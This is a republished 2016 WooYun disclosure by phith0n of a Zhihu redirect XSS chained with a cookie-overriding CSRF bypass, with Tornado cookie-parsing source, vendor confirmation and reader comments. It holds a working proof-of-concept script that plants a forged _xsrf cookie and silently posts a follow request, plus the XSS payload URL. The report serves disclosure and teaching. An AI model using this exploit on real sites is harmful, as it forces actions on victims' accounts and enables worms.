知乎某处XSS+刷粉超详细漏洞技术分析

admin 2017年4月18日21:45:14评论310 views字数 214阅读0分42秒阅读模式
摘要

2016-02-28: 细节已通知厂商并且等待厂商处理中
2016-02-28: 厂商已经确认,细节仅向厂商公开
2016-03-09: 细节向核心白帽子及相关领域专家公开
2016-03-19: 细节向普通白帽子公开
2016-03-29: 细节向实习白帽子公开
2016-04-13: 细节向公众公开

漏洞概要 关注数(179) 关注此漏洞

缺陷编号: WooYun-2016-179329

漏洞标题: 知乎某处XSS+刷粉超详细漏洞技术分析

相关厂商: 知乎

漏洞作者: phith0n知乎某处XSS+刷粉超详细漏洞技术分析

提交时间: 2016-02-28 18:20

公开时间: 2016-04-13 20:00

漏洞类型: XSS 跨站脚本攻击

危害等级: 高

自评Rank: 14

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: xss利用技巧

33人收藏


漏洞详情

披露状态:

2016-02-28: 细节已通知厂商并且等待厂商处理中
2016-02-28: 厂商已经确认,细节仅向厂商公开
2016-03-09: 细节向核心白帽子及相关领域专家公开
2016-03-19: 细节向普通白帽子公开
2016-03-29: 细节向实习白帽子公开
2016-04-13: 细节向公众公开

简要描述:

好久没法前端漏洞分析了,这次来一个。
论a域的xss如何利用www域的表单功能刷粉与蠕虫~

详细说明:

### 老问题导致的XSS漏洞

首先看一个XSS漏洞,这个点是老问题了, WooYun: 知乎 URL 跳转造成的 XSS

知乎按照洞主提供的方法进行修复了,但明显是不行的。我们看到 https://link.zhihu.com/?target=http://www.baidu.com 这个链接的源码:

知乎某处XSS+刷粉超详细漏洞技术分析

将输入的信息传入URI参数,解码以后赋值与location.href。明显可以利用JavaScript:伪协议执行js代码。

如下: https://link.zhihu.com/?target=javascript:alert(1)

知乎某处XSS+刷粉超详细漏洞技术分析

如何利用这个漏洞,有如下办法:

1. 获取用户Cookie

2. 刷粉、蠕虫等

但经过分析,这两种利用办法都无法直接达到。首先,因为知乎重要cookie加了httponly,所以打不到用户cookie;另外,因为知乎的主站是www.zhihu.com,而xss处于子域link.zhihu.com,并非同域,无法获取www域下的CSRF Token,也就无法提交任意表单。

那么,这个漏洞岂不是上不了主页了?

### 知乎的CSRF防御机制

去年7月份左右,我在TSRC的西安沙龙上对基于Token的CSRF原理与实例进行了一些讲解,但唯一一种情况没有提到:那就是同主域不同子域的情况下,怎么进行CSRF?

我先来说说知乎是如何检查CSRF漏洞的:

首先用户在访问知乎后,知乎会为用户设置一个随机Cookie,叫_xsrf。用户在填写表单的时候,表单里会自动插入一个隐藏的项目,也叫_xsrf。

用户提交表单的时候,后端会将表单里插入的_xsrf和cookie中所带的_xsrf进行比对。如果二者相同,则说明为合法的表单。

这种解决方法其实比较常见,因为在没有xss的情况下,黑客无法获取到cookie中的_xsrf,不在同一个域,也无法获取表单中的_xsrf。二者都无法获取到,所以保证了表单的安全。

那么,知乎这个xss,能不能获取到_xsrf呢?

我们看到www.zhihu.com的cookie:

知乎某处XSS+刷粉超详细漏洞技术分析

Domain=www.zhihu.com,没得戏,在link.zhihu.com下获取不到www的cookie。

非同域这个条件,让工作很难正常进行。那么,怎么绕过呢?

既然我们无法获取cookie,我们自己设置一个值,不就可以了?!

这涉及到cookie的机制了。x.a.com域下,可以设置x.a.com的cookie,也可以设置.a.com的cookie。所以,我们在link.zhihu.com下利用XSS设置.zhihu.com的COOKIE。这样,在www.zhihu.com的数据包中,将会带着两个_xsrf,其中一个为已知的。

### 知乎/Tornado/Python对于同名cookie的处理

据以往对知乎的了解,知道知乎是基于Tornado开发的,这一点从『_xsrf』这个名字上也可看出。我们可以看看Tornado中是怎么处理Cookie的:

code 区域
@property
def cookies(self):
"""A dictionary of Cookie.Morsel objects."""
if not hasattr(self, "_cookies"):
self._cookies = Cookie.SimpleCookie()
if "Cookie" in self.headers:
try:
self._cookies.load(
native_str(self.headers["Cookie"]))
except Exception:
self._cookies = {}
return self._cookies

利用的是python自带的Cookie库,跟进一下Cookie.SimpleCookie类的load方法:

code 区域
def load(self, rawdata):
"""Load cookies from a string (presumably HTTP_COOKIE) or
from a dictionary. Loading cookies from a dictionary 'd'
is equivalent to calling:
map(Cookie.__setitem__, d.keys(), d.values())
"""
if type(rawdata) == type(""):
self.__ParseString(rawdata)
else:
# self.update() wouldn't call our custom __setitem__
for k, v in rawdata.items():
self[k] = v
return

跟进一下__ParseString方法:

code 区域
def __ParseString(self, str, patt=_CookiePattern):
i = 0 # Our starting point
n = len(str) # Length of string
M = None # current morsel

while 0 <= i < n:
# Start looking for a cookie
match = patt.match(str, i)
if not match: break # No more cookies

K,V = match.group("key"), match.group("val")
i = match.end(0)

# Parse the key, value in case it's metainfo
if K[0] == "$":
# We ignore attributes which pertain to the cookie
# mechanism as a whole. See RFC 2109.
# (Does anyone care?)
if M:
M[ K[1:] ] = V
elif K.lower() in Morsel._reserved:
if M:
if V is None:
if K.lower() in Morsel._flags:
M[K] = True
else:
M[K] = _unquote(V)
elif V is not None:
rval, cval = self.value_decode(V)
self.__set(K, rval, cval)
M = self[K]

这个方法有个特点:解析了HEADER中的Cookie以后,一个个赋值在self中。如果存在同名Cookie的话,后者将覆盖前者。

这也是tornado的一个特性。对比起来,我们看到php是怎么处理同名cookie的:

code 区域
<?php 
echo $_COOKIE['_xsrf'];

知乎某处XSS+刷粉超详细漏洞技术分析

获取的是前者。这也是php的一个特性,二者的区别,我不再从源码上分析了。

回到知乎的这个问题,因为知乎获取的_xsrf是后者。而恰好,我们利用XSS设置的cookie,将是所有cookie里最后一个。(当然,如果是php的话,我们也可以通过设置path,将cookie的优先级提到前面)

这样,后端在检查_xsrf的时候,会从cookie中获取我们设置的token,和表单中我们提交的token相比较。这二者,我们控制其相等即可。

### 覆盖_xsrf进行刷粉

理论讲完了,我来理一下思路:

1. 利用link.zhihu.com的xss,设置cookie: _xsrf=aaaaaa; domain=.zhihu.com

2. 设置表单中的_xsrf=aaaaaa;

3. POST数据包,关注目标用户

编写POC代码:

code 区域
love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{= protocol }}",host:"{{= host }}",id:"{{= id }}"},run:{jsonp:{},args:{},data:{},foo:{}},op:{bind:function(a,b,d){a.addEventListener?a.addEventListener(b,d,!1):a.attachEvent("on"+b,d);return a},random:function(a){return a?Math.random().toString(36).slice(2):1E5*Math.random()}}};c.get={isorigin:function(a,b){var d=c.dom.create("a",{href:a}),f=c.dom.create("a",{href:b||document.location.origin});return d.protocol==f.protocol&&d.hostname==f.hostname&&d.port==f.port?!0:!1},testorigin:function(a){try{c.req.ajax(a)}catch(b){return 19!=b.code?!0:!1}return!0},protocol:c.conf.protocol?c.conf.protocol:"file:"==location.protocol?"http:":"",isdom:function(a){return a.nodeType?!0:!1},id:function(a){return document.getElementById(a)},name:function(a){return document.getElementsByName(a)},tag:function(a){return document.getElementsByTagName(a)},class:function(a){return document.getElementsByClassName(a)},html:function(){return this.tag("html")[0]||document.write("<html>")&this.tag("html")[0]},head:function(){return this.tag("head")[0]||c.dom.add("head",!1,this.html())},body:function(){return this.tag("body")[0]||c.dom.add("body",!1,this.html())}};c.dom={inner:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0];d=d&&c.get.isdom(d)?d:c.get.body();var e=c.dom.create("div");e.innerHTML=a;e=e.children[0];b&&"function"!=typeof b&&(e.style.display="none");this.insert(e,d,"function"==typeof f&&f);return e},create:function(a,b){var d=document.createElement(a);for(i in b)"string"==typeof b[i]&&this.attr(d,i,b[i]);return d},insert:function(a,b){var d=Array.prototype.slice.call(arguments,-1)[0];b=b&&c.get.isdom(b)?b:c.get.body();b.appendChild(a);"function"==typeof d&&d(a,b);return a},add:function(a,b,d){var c=Array.prototype.slice.call(arguments,-1)[0],e=this.create(a,b);this.insert(e,d,c);return e},kill:function(a){var b=Array.prototype.slice.call(arguments,-1)[0];c.get.isdom(a)&&a.parentNode.removeChild(a);"function"==typeof b&&b()},attr:function(a,b,c){if(!c)return(a.attributes[b]||{}).value;a.setAttribute(b,c);return a}};c.req={post:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0],e=c.dom.add("form",{method:"POST",style:"display: none;",action:a},c.get.body());if(b&&"object"==typeof b)for(var g in b)c.dom.add("input",{name:g,value:b[g]},e);g=c.dom.add("input",{type:"submit"},e);if(!d||"function"==typeof d){var h=c.dom.inner('<iframe sandbox name="'+c.op.random(!0)+'">',!0);c.dom.attr(e,"target",h.name)}"function"==typeof f&&c.op.bind(e,"submit",f);d&&"function"!=typeof d||c.op.bind(h,"load",function(){c.dom.kill(h)});g.click();d&&"function"!=typeof d||c.dom.kill(e)}};return c}();
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/; domain=.zhihu.com";
}
createCookie("_xsrf", "wooyun123123", 30);
love.req.post("https://www.zhihu.com/node/MemberFollowBaseV2", {
method: "follow_member",
params: '{"hash_id":"6f8ffd80705c262c2ee3fa4d9b3f8f06"}',
_xsrf: "wooyun123123"
}, true);

可见,我将_xsrf设置为wooyun123123,hash_id是被关注人的id,可以通过抓包获得。

用户访问 http://mhz.pw/game/zhihu/zhihu.html 即可关注我。通过抓包可以看见,我们伪造的_xsrf已经附在cookie最后面传给服务端了:

知乎某处XSS+刷粉超详细漏洞技术分析

用户已成功关注:

知乎某处XSS+刷粉超详细漏洞技术分析

漏洞证明:

修复方案:

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-28 20:00

厂商回复:

多谢反馈,已经确认,尽快修复~

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-02-28 18:22 | 奈何彼岸 ( 普通白帽子 | Rank:140 漏洞数:49 | 乌云一下你就知道)

    1

    沙发

  2. 2016-02-28 18:24 | 玉林嘎 知乎某处XSS+刷粉超详细漏洞技术分析 ( 普通白帽子 | Rank:941 漏洞数:108 )

    1

    mark

  3. 2016-02-28 18:33 | sqlfeng ( 普通白帽子 | Rank:721 漏洞数:86 | 江山父老能容我,不使人间造孽钱)

    1

    关注

  4. 2016-02-28 18:36 | Sogili ( 普通白帽子 | Rank:142 漏洞数:29 )

    1

    脑袋里,过了下,A域...额...找到拉。哈哈哈

  5. 2016-02-28 18:38 | Sogili ( 普通白帽子 | Rank:142 漏洞数:29 )

    1

    看了下貌似可以直接跨域刷粉唉...

  6. 2016-02-28 18:48 | sangfor.org ( 实习白帽子 | Rank:54 漏洞数:26 | 天下熙熙,皆为利来; 天下攘攘,皆为利往...)

    1

    学习一下

  7. 2016-02-28 18:51 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    关注

  8. 2016-02-28 18:56 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    1

    mark

  9. 2016-02-28 18:56 | 赵健康 ( 实习白帽子 | Rank:54 漏洞数:13 | 慢慢进步!!!)

    1

    关注

  10. 2016-02-28 19:15 | 小哲哥 ( 路人 | Rank:30 漏洞数:17 | http://www.fkgeek.com)

    1

    学习了!

  11. 2016-02-28 19:21 | phith0n 知乎某处XSS+刷粉超详细漏洞技术分析 ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    1

    @Sogili 没试别的,直接按我想法写的,班门弄斧啦Σ(°Д°;

  12. 2016-02-28 19:35 | answer 知乎某处XSS+刷粉超详细漏洞技术分析 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)

    1

    mark

  13. 2016-02-28 19:38 | 子非海绵宝宝 知乎某处XSS+刷粉超详细漏洞技术分析 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    1

    小V发的肯定是技术贴

  14. 2016-02-28 19:40 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    1

    关注

  15. 2016-02-28 20:26 | loopx9 知乎某处XSS+刷粉超详细漏洞技术分析 ( 普通白帽子 | Rank:827 漏洞数:84 | ..)

    1

    学习下。

  16. 2016-02-28 21:22 | zeracker 知乎某处XSS+刷粉超详细漏洞技术分析 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    1

    我好缺粉丝。。。(⊙o⊙)…

  17. 2016-02-28 21:32 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)

    1

    我好缺粉丝。。。(⊙o⊙)…

  18. 2016-02-29 10:19 | ba1ma0 ( 路人 | Rank:14 漏洞数:5 | 什么都不会..)

    1

    沙发~

  19. 2016-02-29 11:24 | 咖啡 ( 实习白帽子 | Rank:62 漏洞数:23 )

    1

    马克

  20. 2016-02-29 14:33 | PiaCa ( 普通白帽子 | Rank:137 漏洞数:11 | 简单点! 啪......嚓~~)

    1

    哎哟,不错哦

  21. 2016-02-29 14:41 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    1

    关注

  22. 2016-03-09 00:28 | Winck ( 路人 | Rank:14 漏洞数:4 | 华人安全网 www.systemsec.cn 719811394)

    1

    这就到后排了

  23. 2016-03-14 19:34 | 小胖子 知乎某处XSS+刷粉超详细漏洞技术分析 ( 核心白帽子 | Rank:1888 漏洞数:156 | 不要患得患失,我羡慕你,但是我还是选择做...)

    1

    再一次证明了php是世界上最好的语言,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈~~

  24. 2016-03-15 01:03 | Winck ( 路人 | Rank:14 漏洞数:4 | 华人安全网 www.systemsec.cn 719811394)

    1

    再一次证明了php是世界上最好的语言

  25. 2016-03-31 14:04 | zhchbin ( 普通白帽子 | Rank:173 漏洞数:33 )

    1

    哎呀!当时我也看了跳转的源码,怎么就没注意到XSS!不过,估计我也会停在link.zhihu.com这个域下。学习了!!PHP是世界上最好的语言。

  26. 2016-03-31 14:15 | 隐形人真忙 ( 普通白帽子 | Rank:201 漏洞数:25 | ...)

    1

    思路真不错

  27. 2016-03-31 15:03 | cmxz ( 普通白帽子 | Rank:133 漏洞数:15 | )

    1

    因此,CSRF token如果只是随机值set到cookie然后和表单的值作对比,这样是不太安全(/完善)的。 如果CSRF token和用户鉴权cookie有关(例如md5(鉴权cookie+salt)),不需要额外set cookie,这样应该就没问题了吧

  28. 2016-03-31 15:05 | cmxz ( 普通白帽子 | Rank:133 漏洞数:15 | )

    1

    @cmxz 这样后鉴权cookie需要使用的地方会多一些,猪队友会增大鉴权cookie泄露的可能性。如果把这块儿的逻辑放入nginx层统一处理就会好很多

  29. 2016-04-08 17:35 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    1

    和这个一样精彩. http://www.freebuf.com/vuls/100912.html

  30. 2016-04-17 15:01 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    <quote>那么,这个漏洞岂不是上不了主页了?</quote> 666

  31. 2016-04-17 15:28 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    1

    好精彩的分析==

  32. 2016-06-14 10:03 | sunday ( 路人 | Rank:0 漏洞数:1 | sunday is a good day.)

    0

    是不是只能说知乎的这种验证方式太弱? 还有洞主的POC中的love那个函数是哪个库里面的吗?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin